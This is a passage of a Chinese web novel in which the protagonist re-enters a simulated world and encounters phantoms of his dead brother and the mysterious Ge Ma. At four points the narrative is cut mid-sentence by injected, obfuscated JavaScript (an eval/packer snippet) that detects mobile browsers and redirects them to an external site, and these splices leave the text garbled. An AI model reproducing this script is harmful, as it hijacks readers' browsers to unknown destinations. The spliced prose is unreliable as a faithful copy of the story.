片刻后,他听到自己冷静的声音响起来,“马上就要回去了,帮我调出来些有用的信息吧,柏姐。” 对面,柏汝恭疑惑地问:“有用的信息是指什么?” “关于元城的信息。之前离开样界的时候,我就身处其中。得知更多的信息,才能更好地展开行动。” 柏汝恭沉吟一声,她的模样似乎有些犹豫,但还是问道:“你想知道什么?” “那座城市是如何形成的?为什么又会变成现在这副模样?”蔚迟野问道。 柏汝恭:“得知它的起源,对你将来的行动有任何帮助吗?” 蔚迟野肯定道:“有。得知了起源,便知道那里面的东西是为何而建造,知道了目的,也就能更好地理解那里的技术……毕竟,元城看起来,和我们的现实世界还是有一定差异,我无法用真实世界的知识套用进去。我需要掌握那里的技术,才能从那些无聊的样界琐事里抽身,专心完成真正的任务。” 柏汝恭沉思了片刻,而后,她开口,声音放得很轻,“那里的大部分技术,是为了对抗低温而存在,他们掌握了能够抵御严寒的方式,改变了样界的环境……然而,那不是方远韶想要看到的实验结果,所以,他用一场洪水,摧毁了那个地方。” 听到这了,蔚迟野沉默了一阵子,“他们已经交出了答卷,但是他仍然并不满意吗?只是科技上的进步还不够,他一定得到人类基因变异的结果?” 柏汝恭没有回答这个问题,转而说道:“建议你下次不要在方远韶的面前提起元城,元 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715454|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 城的肆意生长,差点毁了他精心创造的样界,那对他来说是一次极为严重的失败。” 蔚迟野回忆了一番,突然理解了为什么在前不久的报告会议上当自己提起元城的时候,方远韶会是那种态度。 “食物腐败,所以切掉根源,这是那个男人的做法。”柏汝恭自主自语地说道,不知为何,她脸色看上去有些冷。 蔚迟野在休眠舱上又思索了一阵子,试图将得到的信息拼凑起来。 所以……样界里的人曾经为低温挣扎过,并且取得了成效,只是在外界的干扰下,他们的努力全部毁于一旦。 这没什么。蔚迟野心想。那些人只是数据罢了,数据不会难过,所以他也没必要为此而感到什么。 这次他回去,只要找到异常的所在,一切都结束了。 在得知真相的当下,他可以放下样界中的一切恩怨——不管杜光欧之前在做什么——专心去找出问题的关键。 不必再被仇恨裹胁着行动,也不必害怕回溯力会给身边的人带去怎样的灾祸,反正样界早晚都会重启,一切都将重新来过。 他一度以为那是一个以命换命的诅咒,但拿回现实记忆的当下,才知道它什么也不是。 只不过是系统会每隔一段时间便对样界整体进行一次“存档”,而在存档的时候,如果发现实验者所处的状态有异——比如濒死、肢体残缺、中毒——就会自动退回上一个存档点。 除此以外,什么都不是。 多讽刺啊,在他知道那不是邪神之力的同时,却也不在乎它究竟是不是了。 这时,蔚迟野突想起来什么,再度回到电脑旁边,对女人说道:“能再帮我查一个人的资料吗?” 柏汝恭说道:“时间不多了,你马上就要进入样界。” 蔚迟野争取道:“就一个。” 柏汝恭:“好吧,给我名字。” 蔚迟野:“葛马。葛根的葛,马匹的马。” 柏汝恭皱了皱眉,嘀咕着,“有这个人吗……?” 她打开搜索框,输入名字,让开些身子,将屏幕上的内容亮出来,向蔚迟野确认道:“是这两个字?” 蔚迟野点头,“对。” 柏汝恭点击搜索,然而,系统给她返回了一个空空如也的界面,“没有这个人。” 蔚迟野盯着那个界面,不禁感到意外。为什么会搜不到葛马的名字? 搜不到……意味着什么? 这时候,突然有人敲了敲透明舱室的门,一个实验员探了个身子进来,说道:“柏主任,可以开始了。” 柏汝恭收到了指示,对尚在迷茫地蔚迟野说道:“好了,去休眠舱里躺着。流程和上次一样,身体放轻松,精神保持镇定。” 蔚迟野呆呆地服从柏汝恭的指令,坐回休眠舱,平躺下去,盯着舱室透明的顶部。 整个过程中,疑惑依然盘桓在他的脑海中。 葛马那个人,到底是什么情况。外界搜索不到他的资料,这代表了什么? 休眠舱的舱门关闭了,蔚迟野听见外部传来机器运作的冰冷声响,滴滴的警报声像是一种打开次元之门的引铃,使他的意识渐渐遁入黑暗。 他带着疑惑,陷入了一种深邃的沉眠之中。 200. 幻影1 在一片虚无之中,他感觉自己像在一个什么都没有的地方沉沉浮浮,耳边听不见任何的声音,触觉也感知不到任何的内容,精神仿佛在剥离肉|体,身体越来越轻、越来越飘忽。 就在这个过程中,一些闪回的画面窜入他的脑海,它们掠过得太快,他还来不及观察它们,它们就像是泡影一样,消失在了他的脑海之中。 就这样,不知道过去了多久,他听见了一个男人的说话声。这个声音十分地熟悉,但是,他一时想不起来是谁。 “好了,坐在这里,你就能看见了。”男人如此说道。 蔚迟野皱了皱眉头,睁开眼睛。有些昏暗的视线中,他看到一个蓝袍子的男人在他面前晃悠,手里拽着些什么,往一个方向使劲。 视野渐渐回来了,而后是对这个世界的感知,无论是听觉、触觉,还是他大脑里其他所有的回路,渐渐都通畅了起来。 他环视了一圈,发现自己身处一个石屋中,四周都是石壁。不,这不是一个用石头搭建起来的屋子,而是在岩壁中凿出来的空间。 他想起来了,他想起来自己身处何处。 元城,地下,一个岩层的缝隙间,一间隐蔽的洞窟石屋里面。 这是他作为“杜光欧”停留在样界中的最后一个点位。看样子,他回来了,成功地进入了样界之中。并且,这回,似乎带着蔚迟野的主人格的完整记忆。 他抬起自己的手掌,摸了摸自己的脸,它几乎没什么赘肉。低头,看见自己身上是登山穿的厚重皮革绒服,转动了一下头颅,一种头皮被牵扯的感觉传来,他往自己的头顶摸,帽子下是绑起的长发,而非蔚迟野惯常的短发。 “现在我是他了……”他嘀咕着,但是,又觉得这么说不对劲。毕竟,在他的认知之中,自己就是杜光欧。既是蔚迟野,又是杜光欧。那些杜光欧经历的所有一切,都发生在自己身上,是虚假的也好,是数据也无所谓,这所有的一切,都是他。 不知为何,他现在就是会这么想。 “杜光欧”收回了看向自己的视线,重新将目光投向这片大地。 在他面前,那个红发蓝衣的人依然存在,像个鬼影一般,在自顾自地说话,自顾自地表演。 杜光欧很确定,这个叫葛马的现在不在这里。这可能是某种投影,但是,它附近有没有投影装置。与其说那是一个投影,不如说,那更像是一个幻影,是一个残存的影子,映射出当下或者曾经的幻像。 这是什么现象? 他弄不明白。 但可以肯定的是,这个葛马有很大的问题。 方远韶说,派他进入样界,是为了让他寻找某种在样界外观测不到的东西。 而葛马这个人,在外界的搜索引擎上根本搜不到,那个柏汝恭似乎也不知道有这么一号人物的存在。 葛马会和异常有什么关系吗? 这个看起来平平无奇的西索人,身上却有着许多的迷团。 他背后会有通向问题的关键吗? 又或者,他是否就是问题其本身…… 不管如何,他要去见一见他。 杜光欧有些阴沉地想着。只要找到葛马,不管通过任何方式,他会让他开口。 那个红头发的西索人,一直以来倒是伪装得很好。 不过,下次再见到他,杜光欧再也不会给他蒙混过关的机会。 他一定会在他身上弄清楚问题的所在,然后修复这个样界中的异常,那之后,“蔚迟野”就通过试炼,通过了试炼,就能得到去往“亚森学院”的资格,拿到了资格,他就能去学院上学,满足那个严厉的“父亲”的期待,也能让“奶奶”为自己感到自毫,更会让那些嘲笑他的人刮目相看,尤其是他冷眼旁观的“弟弟”—— “对对,就坐在这里。怎么样,看得见吗?”葛马的声音在此刻传来过来,他的面前出现了一把椅子,那把椅子也如幻影一般,边界看上去影影绰绰,不是有实物会有的形态。 葛马把一个人牵了过来,那个人从一个虚空的边界出现,依着红发男人的意思,坐在了那把椅子上。 坐在椅子上的男人姿态端庄,身披一袭白裘,目光温和,却带着一种深入骨髓的哀恸。 而那人注视的目光,就那般向杜光欧投望了过来。 “你让我过来,是为了让我看这个……葛马?”坐在椅子上的男人说道。 杜光欧盯着那个身影,整个人都僵在了原地。 刚才思考的那些事情,在看到这张脸的时候,烟消云散。 他有许久没有见到这个面庞。它以一个栩栩如生的模样出现在他的眼前。 那是杜光欧的兄长,杜光遗。 杜光欧本以为,无论再见到什么,他都不会感到意外了。可是,当活生生的亲人出现在眼前的时候,还是控制不住愣在了原地。 杜光遗在看着杜光欧的方向。 对方在看什么? 他在看自己吗? 不,不可能,杜光遗已经不在了。现在出现在自己眼前的,和那个葛马一样,只是一个没有实形的幻影。 对面的场景依然在继续,剧目在上演,两个人似乎都看不到这里的杜光欧一般,继续着他们之间的对话。 红头发的男人说道:“现在你可以相信我了吧?你看,这是上一个轮回的你的留影。听到自己说的话,你还不肯相信吗?” 杜光遗盯着杜光欧的方向,表情有些讶异。他的视线穿透过去,像在看远处的某种东西,“这的确是我……这是怎么做到的,葛马?” 红发男人嬉皮笑脸地说道:“神奇吧,这是一种叫做录像带的东西。用摄像机拍摄画面,然后,所有的影像记录就能够保留下来啦。” 杜光遗回过头去,对那个红头发的人说道:“这段……影像里的我,好像和我不太一样。我不记得自己说过这样的话。” “我说啦,那是上一个轮回的你。”葛马答。 杜光遗的模样若有所思,却并不怎么吃惊,“你的意思是,我们的确活在一个不断重复的世界上?” “是的。”葛马说,他的表情有些忧伤,“很遗憾,的确是这样。” “这轮回什么时候是个头?”杜光遗问。 葛马数着自己的手指,就好像通过那十个指头能数过来似的:“我算算啊,从我醒过来开始,到现在,大概过去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13720199|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了……七八百次轮回吧?我记不太清了,你突然这么一问,我可能得翻翻以前的记事本。不过……是的,不管是七百次还是八百次,世界总是不断这么重复着。” 杜光遗问道:“而你从最开始便存在于这个世界上?” “那倒不是。我醒来的时候,大寒潮已经过去了,元城的大洪水也过去几十年啦。我对大寒潮之前的旧世界有一些记忆,但明显,我不是在创世之初醒来的。”葛马耸耸肩,似乎对这件事并不在意,也没有细细推敲过,“所以,光遗,看到这些,你现在肯相信我了吧。别惦记着回血皑去了,我知道那里会发生什么,就算你回去……也挽救不了什么了。” 杜光遗的模样有些沉重,他低下头来,目光中有闪动的复仇似的黑火,“不……父亲因黎礼而死,光欧也在远征归来的路上被她的人所杀害,不能就这么放弃……我必须为他们报仇。” 葛马劝说:“我知道,我知道你想要报仇的心情。可是你相信我,我知道你回去之后会发生什么,就像以往所有轮回重复的那样,你也会在和黎礼的对抗中战死。那是……绝对没有必要的。” 杜光欧在一旁听着,陌生的故事让他一时反应不过来。 为什么兄长说自己被黎礼杀害了?明明他还好好地活着,而被黎礼害死的,分明是对方…… 转瞬之间,杜光欧好像明白过来是怎么回事。现在,在他眼前的,不一定是这个轮回的杜光遗。 这个轮回的杜光遗,无疑已经死去了。杜光欧已经无数次确认了对方的死亡,那天在黄王圣祠所经历的一切,依然历历在目。 这么说,这里的幻影,并不是这个轮回中某一刻发生的事情,而有可能是……以往轮回的幻影? 可是为什么,以往轮回的事情,能够在这里投现。 等等,这种现象……是不是可被称之为“残留”? 这个轮回中,出现了上个轮回的东西,这便是一种残留。 虽然不知道是如何产生的,但是,身上肩负的任务终于出现了一丝可寻的线索。 残留物影响了样界的循环,他就是为了解决这个问题而被派进来的。 摧毁这些残留,让以往所有轮回的记忆在这个世界上磨灭,让循环顺利地进行下去,然后,那个名为“蔚迟野”的自己就可以—— “我知道,自己可能会死。” 杜光欧一滞,兄长的声音传进脑海中,使它变得空茫一片。 他张了张嘴,下意识想要和眼前的人对话,但是,下一刻,又意识到自己行为的徒劳。 他晃了晃脑袋,向后退去,远离那个正在说话干扰他的人,试图用这种方式让自己清醒一些。 继续想刚才的事情。 继续想刚才的事。 刚才想到哪了? 他应该顺着之前的思路想下去,那是有关于…… “但是,我依然要为父亲和弟弟报仇。” 杜光遗坚定的声音响起来。 杜光欧捂住自己的耳朵,又往后退了好几步,直至撞在洞穴的山壁上。 别分心…… 那是幻象。 一个挥之即散的幻象。 201. 幻影2 他不是现实,他不存在于这里,追根溯源,他也没有真实存在的可能性。那是数据,是一个拼凑出来的假象,一个太过具象化的影子。 之所以会觉得这些个体真实,那是因为进入样界的时候,电脑程序对自己的大脑进行了加工,不这样的话,思维就会崩溃。 “哪怕这样的事情要重复成百次、上千次……” 尽管他捂紧了耳朵,可杜光遗的声音还是传了进来。 别听,那不是亲人的话语,那是电子合成的声音。 那不是兄长,那是幻象。 那是…… “……我也再所不惜。” 突然,杜光欧猛地锤上一旁的山壁,大声朝那个不会回应他的影象喊道:“别说了!!” 他扶着一旁的墙壁,狼狈地喘息着。 噗通、噗通。 他听见自己的心跳。 为什么要做得这么真实…… 究竟是谁把自己变成了这样? 然而,就在他喊出声后,洞窟中的场景突然开始变化起来。 瞬息之间,石屋内闪过了许多景色。 天空,日落,海岸,潮水。 它们袭卷而来,又像暴风雪一般,狂舞而去,只留下一片空旷的宁静。 杜光欧有些惊诧异地盯着眼前发生的一切,光怪陆离的景象在眼前晃过,可他感受不到天空的凄冷,听不到潮水的声音,只有视觉中的景色在不断变幻。 ……这些都是过往轮回的幻象吗?他想。 最终,它停下来了。 面前是一片大海,杜光欧正站在海平面上。 海上有一叶扁舟,舟上有两个人影。 “你要把我困在这里吗?”黑发灰眸的人说。 “是的。”另一个红发男人坦诚地道,他还是穿着那身不太适合他的蓝袍子,“既然你不听我的,我就只好把你丢在这里了。不过,别担心,过两天我会给你找来一艘更大的船。” 杜光遗叹息了一声,“为什么这么执着要救我呢。” “救人不是天经地义的吗?” “反正轮回还会不断重复,不管这一世是死是活,下一个轮回我都会再次醒来。” 对面,葛马安静了一阵子,他拿起唯一的船桨划了两下,望着天空,说道:“我不知道,光遗。” “……” “我不知道轮回会不会有结束的一天。” “然后呢?” “……我总是很害怕。”葛马有些惆怅地说,“如果哪一天,我们真的能突破这漫长轮回的桎梏,谁也不知道那最后一次轮回会发生什么。如果发生了你我都不曾期待的事,那时候,我们将没有改变它的可能性,一切都会成为既定的现实……” “你是个西索人,葛马。”杜光遗说道,“顾虑重重不是你们的性格。” 听完这句话,葛马似乎有些愤愤不平,刚才那点忧伤的气质都消失了,“这幅模样只是我随便选的,别想用这个教唆我。” “这不是你随便选的。你喜欢那些西索人,所以变成他们的样子。”杜光遗说。 “好吧……”葛马一下子就在争执中落败了,“我和你说过这件事,是吗?我向你提起过太多次,都记不得这次轮回中有没有跟你说过了。” 杜光遗平静地坐在扁舟上,说道:“既然选择了那个开朗的、坚韧的民族,那就把自己也淬炼得和他们一样,这才算是给那个已经消亡的民族最好的祭奠。” “我知道。”葛马张开自己的双臂,为自己辩解道,“我这不是已经做得挺不错了吗,虽然经常有人说我婆婆妈妈的,但是也比一开始好多了。” “我看不尽然。”杜光遗道。 葛马瞪大了眼睛,“连你也这么说我!?” 杜光遗侧过头去,看向无边的大海,“带我离开这里,我就相信你没有那么脆弱。” “没门。”葛马笑嘻嘻地说,松开了自己的手,唯一的那只船桨掉了下去,噗通一声,沉入了海底,“你就给我在这待着,省得又把自己的小命白白闹没了。” 后来,葛马又滔滔不绝地说了些什么,而杜光欧没有听进去。 只因在红发男人聒噪的话语中,他听到了另一种更加真切的声音。那是一连串的脚步声,从远到近,停在他所处的石屋附近。 从那个能够进入石屋的狭小的石缝中,传进来了一个熟悉的声音—— “阁下在这里干什么?那几个人已经走远了。” 杜光欧侧过头去,穿过那个石缝,他看到了摄文大元帅闻人佐的身影。 盯着对方看了半晌,杜光欧这才回想起来之前发生了什么。 他们为寻找元城,而登上了雪山,又从雪山峰顶掉进了元城之中。而后遇到了一个态度不太友善的老女人,还有那个甾染的古古,以及名叫鹿力喜的男人。 当下,他们正一起搭伙,往元城的出口走,想要打破冰封的道路,离开这座地下城池。 想起来这些之后,杜光欧的脑袋一时有些混乱。 回到样界之后,闻人佐是第一个出现在面前的活人。 他该怎么面对这个世界中的人? 但还没等想明白,对方已经迈了进来,同时,男人也看到了石屋内的景象。 摄文大元帅的模样很震惊,“这是的水都是哪来的?” 杜光欧有些犹豫地支吾了一声。此处的幻象,以及关于轮回的一切,这个世界的真相,还有……自己是谁,他还没有找到一个圆谎的方案。 “这个,我也……” “葛弟?”闻人佐似乎并未看出杜光欧的异常,反而是先注意到了屋中的另一个幻影,“你怎么在这?你那身衣服是……” 闻人佐走上前去,他似乎还没有发觉葛马只是个幻像,一脸惊诧地对他说道:“是你吗……?难道是你……?!” 看大元帅的模样,杜光欧总觉得有点不对劲。 就算是因为突然见到了失踪的人,也不至于有这么大的反应吧? 另一边,扁舟上的葛马对自己眼前的杜光遗说道:“就这样,我先走了。你……好好想想我说的话吧。” 红头发的男人如此说着,身影渐渐消失了。随着他身形的散去,杜光遗的背影也像烟一样淡化,而这遍地的海水也如褪潮一般干涸了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13723804|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杜光欧看着杜光遗消失的那片地方,紧皱着眉头,模样不受控制地郁郁寡欢。 “等等!”闻人佐喊道,但是,下一刻,他似乎也觉察到了不对劲,“等……等。怎么回事?他怎么直接消失了……” 闻人佐疑惑的视线向杜光欧望过来,后者闭上眼睛,把自己的推测说了出来,“那虽然是葛马,但好像只是个幻影,他本人不在这里。” “幻影?”闻人佐嘀咕着,像是还未从刚才的震惊中缓过神来。 “走吧。”杜光欧说,就要从闻人佐身后的石缝中挤出去。 “……是他杀了姜昆维……”闻人佐自主自语般说着。 杜光欧往前走了两步,这才反应过来过方说了什么,驻足回头,“你说什么?” 闻人佐站在原地没动,重复道:“他杀了姜昆维。” “谁?” “葛弟。” 杜光欧努力回想了一下,姜昆维,那个曾经的摄文王。将大元帅投入“不尽死斗”赛场当天,他在角斗场的准备室不知被什么人开枪杀死了。 “你说他杀了姜昆维?”杜光欧皱眉问道。实际上,他对谁杀了前摄文王这件事并不感兴趣,但如果和葛马有关的话,情况就不一样了。他现在的目的就是找到那个红头发的男人,所以,有关对方的情报越多越好,“你不是说没看见那人的脸吗?” “但服饰完全一致。”闻人佐模样有些心不在焉,他侧过身来,看了一眼杜光欧,说,“我不会看错,那天杀了姜昆维的人也穿着这身蓝袍子。而且,葛弟的体型、声音也和那人差不多……其实第一次见面的时候,我就在怀疑他。但没想到真的……” 杜光欧神情认真地问道:“那天,事情的经过是怎么样的?” 闻人佐想必不会知道,此刻的杜光欧问这个问题,其实有着不能告人的思量。或许闻人佐只当他是突然好奇,像每个正常人那样,好奇一位王的死法。这是人之常情。 大元帅此刻毫无隐瞒地说道:“……那个时候,我从角斗场上下来,他们将我送到了准备室。姜昆维来了,拿着一把枪要杀我。就在那个时候,葛弟扑了出来,制止了姜昆维,然后……他们说了一些话,再之后,葛弟开枪杀了他。” 杜光欧眯起眼睛,问道:“他们说了什么?” 闻人佐闭上眼睛,一手撑住额头,似乎像是在努力回忆,“那时候我身体状态很差,记忆断断续续的,但我记得,葛弟似乎很悲痛……他好像给过姜昆维什么东西,对他寄予了极大的期待,但是姜昆维的表现,让他很失望……” 杜光欧追问:“他给了姜昆维什么?” 闻人佐皱着眉,半天,他吐出来一个词,“权能。” “权能?”杜光欧重复道。 “葛弟是这么说的,他说他把姜昆维纳为了……孑塑者。应该是这个词。”闻人佐说着,摇了摇头,“那时我的精神状态很差,而他们说的东西,我几乎都没怎么听懂。” 孑塑者…… 他琢磨着这个呼称。那个幻影中出现的杜光遗也说过一样的词,他曾请求葛马将他变为“孑塑者”。 那到底是什么意思? 202. 突袭1 杜光欧皱着眉头,咬着自己的指甲,分出心神说道:“没关系,元帅,就说你还听到了什么。” 闻人佐:“葛弟还说,姜昆维始终沉溺于权力相争,没有将重点放在他们真正应该去做的事情上……对了,听他们那番话的意思,两人好像有什么共同目的。” “他怎么会和姜昆维有什么共同目的?” “不太清楚。” 杜光欧问:“葛马什么都没说吗?” 闻人佐沉思了一番,说道:“他好像执着于一个新世界……我理解,那应该是对某种新政权的代称?” “新世界”。 杜光欧思索了片刻,琢磨了好一阵子这个词,面容几乎扭曲在一起。 新世界,绝对不是闻人佐说的那样,指代什么新政权。 如果这个词从别人的口中说出来,杜光欧会和大元帅产生一样的想法。但是,这个词从葛马的口中蹦出来,那么,就不得不怀疑它背后真正的含义。 那绝对不是什么新政权。绝对不是什么隐晦的象征。 葛马在说的,很有可能,就是字面意义上的意思。一个崭新的世界。 什么是一个崭新的世界。从冬天到夏天,是一个崭新的世界,新生的事物在大地上出现,会是一个崭新的世界。 而如果想要达成这些,那么,这个世界首先要挣脱循环的束缚。才能有夏天,才会有新的事物降生。 但是……这不可能。这是绝对不可能的。这个世界,不会有寒冬之后的未来,这是它命中注定的宿命。 可是,葛马想要打破这个轮回。 他是如何知道,自身是活在一个不断循环的世界里的? 难道,他也和杜光欧一样,是“外界”的人吗? 杜光欧想要这么去推测,但是,一个矛盾的回忆否定了这个想法。 那是一开始登上雪山的时候,因为暴风雪的缘故,他们和勘探员们在一间木屋里停留。 在那木屋中,葛马从他的斜挎包里拿出了一个植物标本——是的,那是标本,从外界回来之后,杜光欧终于知道该怎么称呼那种东西了。 那是一个四叶草的标本,但是,葛马却称之为“玫瑰”。 这就是不对劲的地方。 如果葛马是外界的人,他怎么会不知道玫瑰的模样? 这解释不通。 当下,杜光欧与闻人佐离开了这间一度充满了幻象的石屋,往元城的出口走去。 两人各怀心事,一路上都很安静。 直到与古古等人汇合,杜光欧依然百思不得其解。 葛马到底是什么人? 一时间,他得不出什么结论。 但不管他是什么人,他想做的事,杜光欧却是十分清楚了。 那个红头发的男人,在试图打破这个样界的“规则”,让它挣脱寒冰枷锁,摆脱循环,抵达他口中所谓的新世界。 而杜光欧,作为来寻找异常的、保证让样界继续循环下去的人,绝对、绝对不可能让他成功。 ## 摄文,法陆贡,暮落镇。 董莉莉在早晨睁开双眼,今天是和往日没什么区别的一天。 董夜明睡在她的身边,她们在克拉娜在暮落镇的家中已经住上了很长一段时间。 一开始只是以为来这里落脚,但是却意外地留了很长的时间。不过,说的也是,就算不留在这里,她们又能去哪里呢?血皑城肯定是不回去了,只要黎礼还在那里一天,她们就没有回去的可能性。但是,要将她从那个城市里驱逐出来,看上去也不是什么一朝一夕就能实现的事情。 或者说,那可能是一件根本无法做到的事情,或许,她们永远也回不去。 即便董莉莉知道,杜光欧还在为了这件事情而奔波,然而,她又何尝不知,这件事没那么容易。敌人掌握着血皑所有的资源,而男人在那里曾拥有的一切都被毁了,他现在两手空空,要重新发展势力,和黎礼对抗,又该是多么漫长、多么看不到将来的事情。 而且,他还选择躲开众人单干,不接受旧人的帮助。董莉莉到现在都不明白杜光欧独自行动的理由,她追不上那个人,怎么也追不上。事已至此,也就只能接受了。接受,然后祈祷他在路上不会出什么事。 可是,祈祷不过是一种自欺欺人的心理安慰,实际的效果,可以说微乎其微。 打心底里,她其实也想夺回血皑,回到自己的家中去,为了这个愿景,她也愿意付出努力。可是为什么,自从从血皑城逃出来了之后,杜光欧一定要和他们分道扬镳呢? 分别之后,对方身边发生了什么,董莉莉一概不知。血皑城的现况如何,她也几乎没有了解的渠道,这个世界的局势如何,待在法陆贡旁边这样一个与世无争小镇子里,更是无从得知。 暮落镇就像是一个完全与外界隔绝的人间仙境,什么消息都传不进来,人们在这里安居乐业,每天思考的内容是如何让房间里更暖和一些,如何把菜做得更鲜美一些,而绝不是打仗、上阵杀敌、攻城略地这些事。 但是,身处平和的环境中,董莉莉却无法感受到那些人的心安。待在这个镇子里,她有种被世界遗忘的感觉,总觉得外面有什么大事发生了,只是还没有渗透到这个镇子里来。 待在这个小镇上,她有种深刻的焦虑,这让每一个深夜都很难熬,无法安心入眠。 得知了她的情况之后,董夜明选择和她一起睡觉。 的确,有了亲妹妹的陪伴,董莉莉觉得那些症状好了些,起码她不会再自己一个人睁着眼睛,干巴巴地直到天明。 但是,那心中深深的忧虑,始终挥之不去。 这是一个和以往别无二致的早晨,董莉莉从床上爬起来,去烧了些水回来,洗漱、更衣,重复着和曾经每天如出一辙的行为。 她忙完了这些,董夜明也因为响动醒了过来,少女揉着自己的眼睛,衣冠不整,半坐起来,看着自己的姐姐,“姐,醒这么早啊。” 董莉莉忙着系好衣服上的绳结,边说道:“天已经亮了。今天轮到我们去河边采水,你也快点起来,夜明。” 董夜明在床上打了个滚,把被子卷得团团乱,露出两条笔直白晰的大腿,又因为太冷而很快缩了回去,她在床被中磨蹭着,模样看着十分地不想起床。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13728173|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >董莉莉也没有继续催促她,而是忙着自己的事情。她从后厨端了些吃的回来,自己吃了一些,然后把剩下的放在床头柜上,等董夜明什么时候征服了惰性,从床上爬起来了,再自己寻了去吃。 就这么忙活了一阵子,董夜明那边发出了声绵长的哈欠,女孩从床上磨磨蹭蹭下来了,掏过一旁的白馍啃了起来,又被噎到,赶忙找水喝。 等董莉莉收拾好了行李的时候,董夜明才刚开始洗脸,她用无辜的目光看着自己的姐姐,有一种“没办法,你也知道我很拖拉”的意味。 董莉莉叹息了一声,对她说道:“快些,我去外面等你。” 董夜明笑起来,连连朝姐姐迅速地点了点头。 董莉莉想去和克拉娜打声招呼,告诉她今天自己和小妹会去采水,这一上午可能回不来。 她绕了一圈,没有在房屋里找到克拉娜的身影,也没有在这里见到白祁。于是离开了屋子,寻到了后院。在那片长满了地衣和矮灌木的土地上,董莉莉看到了一张椅子,椅子上坐着一个金发的女人,她怀中抱着一个男孩,手里拿着一本书,两人正津津有味地看着。 看到这幅画面,她不由感到静谧与美好,竟然一时不想上前去破坏它。 遥想当初,还在血皑的时候,董莉莉就很喜欢去白熠的家中拜访,因为克拉娜的厨艺又好,人也好看,性格也好,还知道许多稀奇古怪的故事,时常能逗得大家伙开心地笑。 那段日子已经过去了太久,现在,她们都一样,都是被从自己的家园里驱赶出来的人。 唯一与自己不同的是,克拉娜已然体会过和家人分离的滋味。虽然谁都没有说,熠大哥已经不在了,克拉娜也始终没有问过,但是,谁都知道,他们早已失去了那个白发的聪慧之人。 而董莉莉并没有失去过什么人,她的父母健在,董清驳和老城主杜义关系极差,那让他在黎礼对原贵族的清剿中逃过了一劫。 血皑城中有许多旧时的残党,黎礼似乎没有精力去对付他们每一个,只要老实安分地待着,不出来惹什么事,那个女人便不会过问太多的事情。 从父亲董清驳寄来的信件来看,夫妻两人在血皑城里过得还不错,只是许多行为被禁止了,人们失去了很多自由,但起码还能有尊严地活着。 黎礼接管了血皑之后,并没有进行更大的变革,只是让这个城市维持着原状。甚至经过了一次对杜义势力的清剿之后,她也不扶持任何的新势力上岗,只是用原有的、愿意投靠她的人,继续维持着那座城市的体系架构。 就仿佛,女人的心思并不在建设血皑上面一样。她虽然费尽心机得到了它,然而,却要将它挥之即弃一般。 不过,父母在血皑安然无恙,倒是给董莉莉吃了一记定心丸,让她有足够的底气,在血皑城外面奔波。 她已经无法回到血皑,父母也没有催她回去。因为帮助杜光欧出逃,她和董夜明都在通缉名单上,虽然可能只是在一个很不起眼的位置,但那依然对她们不利,意味着血皑的城门不对她们开启。 直到黎礼离开那里,或者一个新的政权取代了她,在那之前,她们姐妹俩都回不去。 203. 突袭2 她陷入自己的沉思里,不知不觉,被一个身影近了身。 董夜明突然从后面接近她,抓住她的肩,突然晃了晃,“想什么呢!这么认真。” “!”董莉莉一惊,思路断了,但其实她也没想什么重要的事情,只是思绪在毫无目的地发散。不过,被妹妹吓了一跳是真的,董莉莉有些埋怨地说道,“别这么突然出现,把人吓出毛病来怎么办?” “老姐你啊,能不能少训我两句。”董夜明说道,一副不服管教的模样。 董莉莉回她说:“不想受到别人约束,那就约束你自己,否则,会有人来替你做这件事。” “你说得都对。”董夜明的模样不以为意。她看到了院子中的那一对母女,招了招手,和她们打招呼,“嫂子,这么早就带着小祁出来看书哇?” 克拉娜听见了她们的动静,转过身来,笑盈盈地对她们说道:“小祁嚷着要看,我就陪他一起看,正好今天天气不错。你们醒得也挺早的呀。” 董莉莉上前来,说道:“嫂子,今天我和夜明去采水,等一会就不在家里了。” 克拉娜有些惊讶,蓝宝石一般的眼睛瞪得圆圆的,“已经到这个日子了?时间过得真快啊。” 董夜明也感叹道:“是啊,过得太快啦。我们来这里都多久了,老姐?” 